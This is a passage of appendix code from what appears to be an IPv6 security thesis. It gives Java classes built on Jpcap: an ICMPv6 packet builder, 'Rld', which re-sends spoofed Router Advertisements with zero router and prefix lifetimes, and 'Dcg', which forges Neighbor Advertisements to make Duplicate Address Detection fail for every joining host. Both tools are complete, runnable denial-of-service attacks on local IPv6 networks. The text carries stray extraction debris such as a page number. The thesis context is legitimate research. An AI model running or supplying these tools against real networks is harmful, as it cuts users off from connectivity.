     * field (field length 6 Bytes - byte count from the start  
     * of the Option Header) 
    */      
    public static final short OPTION_LINK_LAYER_ADDRESS = 2; 
     
    /** 
     * Byte of the Router Advertisement Prefix Option  
     * "Prefix Flags" field (byte count from the start of the  
     * Option) 
    */      
    public static final short PREFIX_FLAGS_BYTE = 3 ; 
     
    /** 
     * Byte of the Router Advertisement Prefix Option "Prefix  
     * Valid Lifetime" field (byte count from the start of the  
     * Option) 
    */      
    public static final short PREFIX_VALID_LIFETIME_BYTE = 4; 
     
    /** 
     * Byte of the Router Advertisement Prefix Option "Prefix  
     * Preferred Lifetime" field (byte count from the start of the 
     * Option) 
    */          
    public static final short PREFIX_PREFERRED_LIFETIME_BYTE = 8; 
     
    /** 
     * Starting Byte of the Router Advertisement Prefix Option "Prefix"  
     * field (byte count from the start of the Option) 
    */          
    public static final short PREFIX_BYTE = 16; 
     
    /** Data Member : The Jpcap.packet.Packet object */ 
    Packet p;    
     
    /** Converter From Packet to ICMP6 */     
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    public ICMP6(Packet p) { 
         
        if ( isICMP6(p) ) { 
                 
            this.p = p; 
             
        } 
         
        else { 
             
            System.out.println("Error, Not an ICMPv6 packet!"); 
             
        } 
  
    } 
     
    /**  
     * Generator of various ICMPv6 messages.  
     * Currently only the Neighbor Advertisement is implemented. 
     * Developper must provide Link Layer Header, Source,  
     * Destination and Target Address, Option header's  
     * Target Link Layer Address, and calculate the checksum. 
     * A modification of the Flags (initialized to zeros) may  
     * be needed. 
     * 
     * @param type the type of ICMPv6 to be generated 
     * 
     */     
    public ICMP6(short type) { 
 
        switch (type) { 
             
            case NA : 
                 
                this.p = new Packet(); 
                 
                // standard fields 
                p.data = new byte[72]; 
 
                p.data[VERSION_PRIORITY_BYTE] = (byte) 0x60; 
                for (int i=1; i<4; i++) { 
                    p.data[VERSION_PRIORITY_BYTE + i] = 0; 
                } 
                p.data[PAYLOAD_LENGTH_BYTE] = 0; 
                p.data[PAYLOAD_LENGTH_BYTE + 1] = (byte) 32; 
                p.data[NEXT_HEADER_BYTE] = (byte)  
                                        NEXT_HEADER_ICMP; 
                p.data[HOP_LIMIT_BYTE] = (byte) 0xff; 
                p.data[ICMP_TYPE_BYTE] = (byte) NA; 
                p.data[ICMP_CODE_BYTE] = 0; 
                for (int i=1; i<4; i++) { 
                    p.data[NA_FLAGS_BYTE + i] = 0; 
                } 
                p.data[NA_OPTIONS_BYTE] = TARGET_LINK_LAYER_ADDRESS; 
                p.data[NA_OPTIONS_BYTE + OPTION_LENGTH_BYTE] =  
                                              (byte) 1; // 8 bytes     
                break; 
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        } 
                 
    } 
     
    /**  
     * This method checks  whether a Packet is an ICMPv6 
     *  
     * @param p the Packet to be checket 
     * @return true if the Packet is ICMPv6 
     * 
     */     
    public static boolean isICMP6(Packet p) { 
         
        boolean isICMPv6 = false; 
         
        if ( p.data[VERSION_PRIORITY_BYTE] >= VERSION_PRIORITY_MIN &&  
             p.data[NEXT_HEADER_BYTE] == NEXT_HEADER_ICMP ) { 
             
            isICMPv6 = true; 
             
        }         
         
        return isICMPv6; 
         
    } 
 
    /**  
     * Returns the Link-Layer source address 
     *  
     * @return the Link Layer Source address as a byte array 
     * 
     */       
    public byte[] getLinkSourceAddress() { 
         
    byte[] src = new byte[6]; 
    for (int i=0; i<6; i++) { 
         
        src[i] = p.header[LINK_SOURCE_BYTE + i]; 
         
    } 
    return src; 
         
    } 
 
     
    /**  
     * Returns the Link-Layer destination address 
     *  
     * @return the Link-Layer Destination address as a byte array 
     * 
     */       
    public byte[] getLinkDestinationAddress() { 
         
    byte[] dst = new byte[6]; 
    for (int i=0; i<6; i++) { 
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        dst[i] = p.header[LINK_DESTINATION_BYTE + i]; 
         
    } 
    return dst; 
         
    }     
     
     
    /** Returns the Type of the ICMPv6 
     *  
     * @return the Type of the ICMP 
     * 
     */       
    public int getType() { 
         
        int type = (int) p.data[ICMP_TYPE_BYTE]; 
        if ( type < 0 ) type+=256; 
         
        return type; 
         
    } 
     
     
    /**  
     * Returns the IPv6 source address 
     *  
     * @return The IPv6 Source Address of the ICMPv6 
     * 
     */       
    public Inet6Address getSourceAddress()  
                            throws UnknownHostException { 
         
        byte[] sourceArray = new byte[16]; 
        for (short i=0; i < 16; i++) { 
             
             sourceArray[i] = p.data[SOURCE_BYTE+i]; 
              
        }  
        Inet6Address sourceAddress = 
           (Inet6Address) Inet6Address.getByAddress(sourceArray); 
 
        return sourceAddress; 
         
    } 
     
 
    /**  
     * Returns the IPv6 Destination Address address 
     *  
     * @return The IPv6 Destination Address 
     * 
     */       
    public Inet6Address getDestinationAddress()  
                                throws UnknownHostException { 
         
        byte[] dstArray = new byte[16]; 
        for (short i=0; i < 16; i++) { 
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             dstArray[i] = p.data[DESTINATION_BYTE+i]; 
              
        }  
        Inet6Address dstAddress = 
            (Inet6Address) Inet6Address.getByAddress(dstArray); 
 
        return dstAddress; 
         
    }  
     
     
    /**  
     * Returns the Target Address of a NA or NS 
     *  
     * @return The IPv6 Target Address of the NA or NS 
     * 
     */        
    public Inet6Address getTargetAddress()  
                            throws UnknownHostException { 
         
        byte[] tArray = new byte[16]; 
        for (short i=0; i<16; i++) { 
            tArray[i] = p.data[NA_TARGET_BYTE + i]; 
        } 
        Inet6Address tAddress =  
                (Inet6Address) Inet6Address.getByAddress(tArray); 
        return tAddress; 
         
    } 
 
     
    /**  
     * Returns the checksum of the ICMPv6 
     *  
     * @return The checksum value of the ICMPv6 
     * 
     */        
    public int getChecksum() { 
         
        int cks = (int) p.data[ICMP_CHECKSUM_BYTE]; 
        return cks; 
         
    }     
     
    /**  
     * Sets the DataLink Header to the ICMPv6 packet 
     *  
     * @param dl The data-link header 
     * 
     */   
    public void setDataLink(DatalinkPacket dl) { 
         
        p.datalink = dl; 
         
    } 
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    /**  
     * Sets the IPv6 Source Address 
     *  
     * @param src the IPv6 Source Address 
     * 
     */   
    public void setSourceAddress(Inet6Address src) { 
         
        for (int i=0; i<16; i++) { 
             
            p.data[SOURCE_BYTE + i] = src.getAddress()[i]; 
             
        } 
         
    } 
     
 
    /**  
     * Sets the IPv6 Destination Address 
     *  
     * @param dst the IPv6 Destination Address 
     * 
     */       
    public void setDestinationAddress(Inet6Address dst) { 
         
        for (int i=0; i<16; i++) { 
             
            p.data[DESTINATION_BYTE + i] = dst.getAddress()[i]; 
             
        } 
         
    } 
   
     
    /**  
     * Sets the ICMPv6 Type 
     *  
     * @param type the ICMPv6 Type 
     * 
     */       
    public void setType(int type) { 
         
        p.data[ICMP_TYPE_BYTE] = (byte) type; 
         
    } 
     
  
    /**  
     * Sets the RA Router Lifetime 
     *  
     * @param routerLifetime the Router Lifetime 
     * 
     */  
    public void setRouterLifetime(int routerLifetime) { 
         
        p.data[ROUTER_LIFETIME] = (byte) (routerLifetime & 0xFF00); 
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        p.data[ROUTER_LIFETIME + 1] =  
                                  (byte) (routerLifetime & 0x00FF); 
    } 
         
 
    /**  
     * Sets the NA - RA solicited Flag 
     *  
     * @param sol if True the Flag (bit) is set to 1 
     * 
     */       
    public void setSolicited(boolean sol) { 
         
        // reset 2nd bit to 0 
        p.data[NA_FLAGS_BYTE] =  
                (byte) (p.data[NA_FLAGS_BYTE] & 0xbf) ;  
        if (sol) { 
            // set 2nd bit to 1 
            p.data[NA_FLAGS_BYTE] =  
                    (byte) (p.data[NA_FLAGS_BYTE] | 0x40) ; 
        } 
         
    } 
     
  
    /**  
     * Sets the NA - RA override Flag 
     *  
     * @param or if True the Flag (bit) is set to 1 
     * 
     */      
    public void setOverride(boolean or) { 
         
        // reset 3nd bit to 0 
        p.data[NA_FLAGS_BYTE] =  
                (byte) (p.data[NA_FLAGS_BYTE] & 0xdf) ;  
        if (or) { 
            // set 3nd bit to 1 
            p.data[NA_FLAGS_BYTE] =  
                    (byte) (p.data[NA_FLAGS_BYTE] | 0x20) ;  
        } 
         
    } 
     
 
    /**  
     * Sets the NS - NA Target Address 
     *  
     * @param adr the IPv6 Target Address 
     * 
     */      
    public void setTargetAddress(Inet6Address adr)  
                    throws UnknownHostException { 
        for (short i=0; i<16; i++) { 
            p.data[NA_TARGET_BYTE + i] = adr.getAddress()[i]; 
        } 
         
74 
    } 
     
     
 
    /**  
     * Sets the type of the ICMPv6 Option Header 
     *  
     * @param type The Option Header Type 
     * 
     */      
    public void setOptionType(int type) { 
         
        p.data[NA_OPTIONS_BYTE] = (byte) type; 
         
    } 
     
  
    /**  
     * Sets the ICMPv6 Option Header Length 
     *  
     * @param bytes the Option Length in units of Bytes 
     * 
     */      
    public void setOptionLength(int bytes) { 
         
        p.data[NA_OPTIONS_BYTE + OPTION_LENGTH_BYTE] =  
                (byte) bytes; 
         
    } 
     
 
    /**  
     * Sets the ICMPv6 Option Link-Layer Address 
     *  
     * @param src the Option Link-Layer Address 
     * 
     */        
    public void setOptionLinkAddress(byte[] src) { 
         
        for (int i=1; i<6; i++) { 
             
            p.data[NA_OPTIONS_BYTE +  
                    OPTION_LINK_LAYER_ADDRESS + i] = src[i]; 
             
        } 
         
    } 
     
 
    /**  
     * Sets the RA Option Prefix Lifetimes 
     * the same lifetimes are set for all the prefixes 
     * advertised by the particular RA. 
     *  
     * @param valid the valid lifetime in units of seconds 
     * @param preferred the preferred lifetime in units of seconds 
     * 
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     */        
    public void setPrefixLifetime( int valid , int preferred ) { 
         
        int lastOptionByte = RA_OPTIONS_BYTE; 
        int iterator = 0; 
         
        while ( p.data.length > lastOptionByte ) { 
             
            if ( p.data[lastOptionByte] == PREFIX_INFORMATION ) { 
               
                // four bytes for valid lifetimes 
                p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE] 
                        = (byte) (valid / 0xFFFFFF );  
                p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE + 1] 
                        = (byte) (valid % 0xFFFFFF / 0xFFFF);     
                p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE + 2] 
                        = (byte) (valid % 0xFFFF / 0xFF);       
                p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE + 3] 
                        = (byte) (valid & 0xFF);                      
                p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE] 
                        = (byte) (preferred / 0xFFFFFF );  
                p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE  
                        + 1] = (byte) (preferred % 0xFFFFFF / 0xFFFF);     
                p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE 
                        + 2] = (byte) (preferred % 0xFFFF / 0xFF);       
                p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE 
                        + 3] = (byte) (preferred & 0xFF);                         
                     
                }        
       
            int lastOptionLength = p.data[lastOptionByte  
                    + OPTION_LENGTH_BYTE]; 
            lastOptionByte += (lastOptionLength * 8); 
            iterator++; 
             
        } 
 
    } 
  
 
     
    /**  
     * calculates and sets the ICMPv6 Payload length 
     *  
     * 
     */    
    public void calculatePayloadLength() { 
         
        int length = ( p.data.length - PAYLOAD_BYTE ); 
        p.data[PAYLOAD_LENGTH_BYTE] = (byte) (length / 0xFF); 
        p.data[PAYLOAD_LENGTH_BYTE] = (byte) (length & 0xFF); 
         
    } 
  
    /**  
     * calculates and sets the ICMPv6 checksum 
     *  
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     * 
     */       
    public void calculateChecksum() { 
         
         
        int length = p.data.length - ICMP_TYPE_BYTE + 
ICMP_PSEUDO_LENGTH; 
 
        byte[] checksumBytes = new byte[length]; 
 
        //ICMP pseudo-header 
        checksumBytes[0] = 0; 
        checksumBytes[1] = 0;  
        checksumBytes[2] = 0;   
        checksumBytes[3] = (byte) 58; 
        checksumBytes[4] = p.data[4]; // payload length 
        checksumBytes[5] = p.data[5]; // payload length 
        checksumBytes[6] = 0; 
        checksumBytes[7] = 0; 
 
        // rest of pseudo-header 
        for (int i = 8; i < ICMP_PSEUDO_LENGTH ; i++) { 
            checksumBytes[i] = p.data[i]; 
        } 
         
        // beggining of icmp header 
        checksumBytes[ICMP_TYPE_BYTE] = p.data[ICMP_TYPE_BYTE]; 
        checksumBytes[ICMP_CODE_BYTE] = p.data[ICMP_CODE_BYTE]; 
         
        //zeros for the checksum 
        checksumBytes[ICMP_CHECKSUM_BYTE] = 0; 
        checksumBytes[ICMP_CHECKSUM_BYTE + 1] = 0; 
    
        // icmp payload 
        for (int i = ICMP_BODY_BYTE; i < length; i++) { 
            checksumBytes[i] = p.data[i]; 
        } 
         
        int sum = 0; // the checksum 
        int i; 
        for(i = 0; i < length; i+=2) { 
            // put bytes in ints so we can forget about sign-extension 
            int i1 = checksumBytes[i] & 0xff; 
            // zero-pad, maybe 
            int i2 = (i + 1 < length ? checksumBytes[i + 1] & 0xff : 
0);  
            sum += ((i1 << 8) + i2); 
            while( (sum & 0xffff) != sum ) { 
                sum &= 0xffff; 
                sum += 1; 
            } 
        } 
 
        sum = ~sum & 0xFFFF; 
                
        p.data[ICMP_CHECKSUM_BYTE] = (byte) ((sum & 0xFF00) >> 8); 
        p.data[ICMP_CHECKSUM_BYTE+1] = (byte) (sum & 0xFF); 
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    } 
     
    /**  
     * Sends an ICMPv6 packet 
     * 
     * @param sender the jpcap.JpcapSender object 
     *  
     */           
    public void send(jpcap.JpcapSender sender) {  
        sender.sendPacket(p); 
    }    
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APPENDIX B. CLASS RLD JAVA CODE 
/* 
 * RLD.java 
 * 
 * This software was developed as part of a thesis research on IPv6  


















 * This class implements the Router Lifetime Decreaser 
 */ 
public class Rld implements PacketReceiver { 
     
    /** 
     * Fake Router Lifetime 
     */ 
    public static final int FAKE_ROUTER_LIFETIME = 0;   
     
    /** 
     * Fake Prefix Valid Lifetime 
     */     
    public static final int FAKE_VALID = 0; //seconds 
     
    /** 
     * Fake Prefix preferred Lifetime 
     */     
    public static final int FAKE_PREFERRED = 0;  //seconds 
     
    /** 
     * the network interface of the tool 
     */  
    private static short networkInterface ; 
     
    /** 
     * the array of the interfaces 
     */      
    private static NetworkInterface[] devices = null; 
     
    /** 
     * the JpcapCaptor object 
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     */      
    private static JpcapCaptor jpcap = null; 
     
    /** 
     * the JpcapSender object 
     */      
    private static JpcapSender sender = null; 
     
 
    /** 
     * A member to hold the sent Router Advertisement 
     */          
    private static ICMP6 fakeRASent = null; 
     
    /** 
     * a flag that indicates if a router advertisement  
     * has already been received 
     */          
    private static boolean firstReceived = true; 
     
    /** 
     * the value for the jpcapCaptor snaplen 
     */          
    private static int snaplen = 2000; 
     
    /** 
     * the value for the interface's mode 
     */          
    private static boolean promisc = true; 
     
    /** 
     * the value for the jpcapCaptor to_ms 
     */        
    private static int to_ms = 20;  
         
     
    public static void main(String[] args) throws IOException { 
         
        devices = JpcapCaptor.getDeviceList(); 
            
        if(args.length<1){ 
            help(); 
        } 
        else{ 
            networkInterface = Short.parseShort(args[0]); 
            jpcap = JpcapCaptor.openDevice(devices[networkInterface] 
                    , snaplen, promisc, to_ms);       
            jpcap.loopPacket(-1, new Rld()); 
        } 
    }     
     
 
    /** 
     * implements method receivePacket of interface  
     * Jpcap.PacketReceiver to handle the received packet 
     */       
    public void  receivePacket(Packet packet) { 
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        // ignore packets with length zero       
        if (packet.data.length == 0) return; 
         
        if ( ICMP6.isICMP6(packet) ){ 
 
            ICMP6 p = new ICMP6(packet);            
 
            switch (p.getType()) { 
 
                case ICMP6.RA : 
 
                    try { 
                        System.out.println("Router Advertisement " + 
                                "from " + p.getSourceAddress()); 
                    } catch (UnknownHostException ex) { 
                        ex.printStackTrace(); 
                    } 
                    routerSpoof(p); 
                    break;   
 
            } 
        } 
    } 
     
 
    /** 
     * implements the router's parameter spoofing 
     */       
    private void routerSpoof(ICMP6 packet) {      
           
       try { 
            sender=JpcapSender.openDevice(devices[networkInterface]); 
              
            if (firstReceived || !( packet.getChecksum() ==  
                                    fakeRASent.getChecksum() )){ 
  
                // spoof the parameters 
                packet.setPrefixLifetime(FAKE_VALID, FAKE_PREFERRED);          
                packet.setRouterLifetime(FAKE_ROUTER_LIFETIME);                 
 
                // calculate and set the new checksum 
                packet.calculateChecksum(); 
                 
                // send the fake RA 
                packet.send(sender); 
                System.out.println("Router Lifetime decreased to " +   
                        FAKE_ROUTER_LIFETIME + "seconds");                
                System.out.print("Prefix Lifetimes decreased to " + 
                        FAKE_VALID + " (valid) and " + FAKE_PREFERRED 
                        + " (preferred) seconds "); 
                fakeRASent = packet; 
                 
                // set the flag 
                firstReceived = false; 
            } 
        } 
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        catch (IOException ex) { 
            System.out.println("senderException"); 
        };  
  
    } 
     
     
    /** 
     * provides error checking for the RLD's correct command line 
     * input 
     * 
     */     
    private static void help(){ 
        System.out.println( 
            "usage: java Rld <select a number from the following>"); 
        for (int i = 0; i < devices.length; i++) { 
            System.out.println(i + " :" + devices[i].name + "(" +  
                devices[i].description + ")" + "\n" +  
                "    data link:" + devices[i].datalink_name + "(" +  
                devices[i].datalink_description + ")" ); 
            System.out.print("    MAC address:"); 
            for (byte b : devices[i].mac_address) 
                System.out.print(Integer.toHexString(b&0xff) + ":" ); 
            System.out.println(); 
            for (NetworkInterfaceAddress a : devices[i].addresses) 
                System.out.println("    address:" + a.address + " " + 
                    a.subnet + " " + a.broadcast); 
        } 
         
        return; 
    } 
     
} 
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APPENDIX C. CLASS DCG JAVA CODE 
/* 
 * Dcg.java 
 * 
 * This software was developed as part of a thesis research on IPv6  



















 * this class implements the DAD collision generator 
 */ 
public class Dcg implements PacketReceiver { 
     
    /** 
     * All nodes Link Layer Address 
     */   
    public static final byte[] LINK_ALL_NODES =  
        {(byte)0x33, (byte)0x33, 0, 0, 0, (byte)1 }; 
     
    /** 
     * All nodes IPv6 Address 
     */      
    public static final byte[] ALL_NODES_BYTES =  
        {(byte)0xff, (byte)0x02, 0, 0, 0, 0, 0, 0, 0, 0, 
         0, 0, 0, 0, 0, (byte)1}; 
     
 
    /** 
     * Unspecified IPv6 Address 
     */         
    public static final byte[] UNSPEC_BYTES=  
                        {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; 
     
     
    /** 
     * the network interface of the tool 
     */  
    public static short networkInterface = 0; 
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    /** 
     * the array of the interfaces 
     */      
    private static NetworkInterface[] devices = null; 
     
    /** 
     * the JpcapCaptor object 
     */      
    private static JpcapCaptor jpcap = null; 
     
    /** 
     * the JpcapSender object 
     */      
    private static JpcapSender sender = null; 
     
    /** 
     * the Random generator (for random MAC address 
     * generation) 
     */          
    Random generator = new Random();     
     
    /** 
     * the fake (colliding address) Neighbor Advertisement 
     */         
    public static ICMP6 fakeNA = new ICMP6(ICMP6.NA); 
 
    /** 
     * the value for the jpcapCaptor snaplen 
     */          
    private static int snaplen = 2000; 
     
    /** 
     * the value for the interface's mode 
     */          
    private static boolean promisc = true; 
     
    /** 
     * the value for the jpcapCaptor to_ms 
     */        
    private static int to_ms = 20;  
         
         
    public static void main(String[] args) throws IOException { 
         
        devices = JpcapCaptor.getDeviceList(); 
            
        if(args.length<1){ 
            help(); 
        } 
        else{ 
            networkInterface = Short.parseShort(args[0]); 
            jpcap = JpcapCaptor.openDevice(devices[networkInterface], 
                    snaplen, promisc, to_ms);       
            jpcap.loopPacket(-1, new Dcg()); 
        } 
    }     
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    /** 
     * implements method receivePacket of interface  
     * Jpcap.PacketReceiver 
     */  
    public void  receivePacket(Packet packet) { 
         
        // ignore zero-length packets 
        if (packet.data.length == 0) return; 
         
        if ( ICMP6.isICMP6(packet) ){ 
 
            // create the ICMP6 packet 
            ICMP6 p = new ICMP6(packet);            
 
            switch (p.getType()) { 
                 
                case ICMP6.NS :  
 
                    try { 
                         
                        System.out.println("Neighbor Solicitacion " + 
                                "from :" + p.getSourceAddress());   
                        if (p.getSourceAddress().equals((Inet6Address)  
                            Inet6Address.getByAddress(UNSPEC_BYTES))) 
                        { 
                            neighbourSpoof(p);   
                        } 
                    } catch (UnknownHostException ex) { 
                        ex.printStackTrace(); 
                    } 
                     
                    break; 
                     
                } 
            } 
        } 
     
     
    /** 
     * implements the neighbour spoofing  
     */ 
    private void neighbourSpoof(ICMP6 packet) {          
 
        try { 
            sender=JpcapSender.openDevice(devices[networkInterface]); 
             
            // create random link source address keeping  
            // same first two bytes 
            byte[] linkSrc = new byte[6]; 
            linkSrc[0] = packet.getLinkSourceAddress()[0]; 
            linkSrc[1] = packet.getLinkSourceAddress()[1]; 
            for (int i=2; i<6; i++) { 
                 
                linkSrc[i] = (byte) (generator.nextInt() & 0xFF); 
                 
            } 
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            fakeNA.setSourceAddress(packet.getTargetAddress()); 
            fakeNA.setDestinationAddress((Inet6Address)  
                     Inet6Address.getByAddress(ALL_NODES_BYTES)); 
            fakeNA.setSolicited(false); 
            fakeNA.setOverride(true); 
            fakeNA.setTargetAddress(packet.getTargetAddress()); 
            fakeNA.setOptionLinkAddress(linkSrc); 
             
            fakeNA.calculateChecksum(); 
             
            EthernetPacket ether=new EthernetPacket(); 
            ether.frametype=EthernetPacket.ETHERTYPE_IPV6; 
            ether.src_mac = linkSrc; 
            ether.dst_mac = LINK_ALL_NODES; 
            fakeNA.setDataLink(ether); 
 
            fakeNA.send(sender); 
 
        } catch (IOException ex) { 
            ex.printStackTrace(); 
        } 
         
         
         
 
    } 
     
     
    /** 
     * provides error checking for the Dcg's correct command line 
     * input 
     * 
     */  
    private static void help(){ 
        System.out.println( 
            "usage: java Dcg <select a number from the following>"); 
        for (int i = 0; i < devices.length; i++) { 
            System.out.println(i + " :" + devices[i].name + "(" +  
                devices[i].description + ")" + "\n" +  
                "    data link:" + devices[i].datalink_name +  
                "(" + devices[i].datalink_description + ")" ); 
            System.out.print("    MAC address:"); 
            for (byte b : devices[i].mac_address) 
                System.out.print(Integer.toHexString(b&0xff) + ":" ); 
            System.out.println(); 
            for (NetworkInterfaceAddress a : devices[i].addresses) 
                System.out.println("    address:" + a.address +  
                    " " + a.subnet + " " + a.broadcast); 
        } 
         
        return; 
    } 
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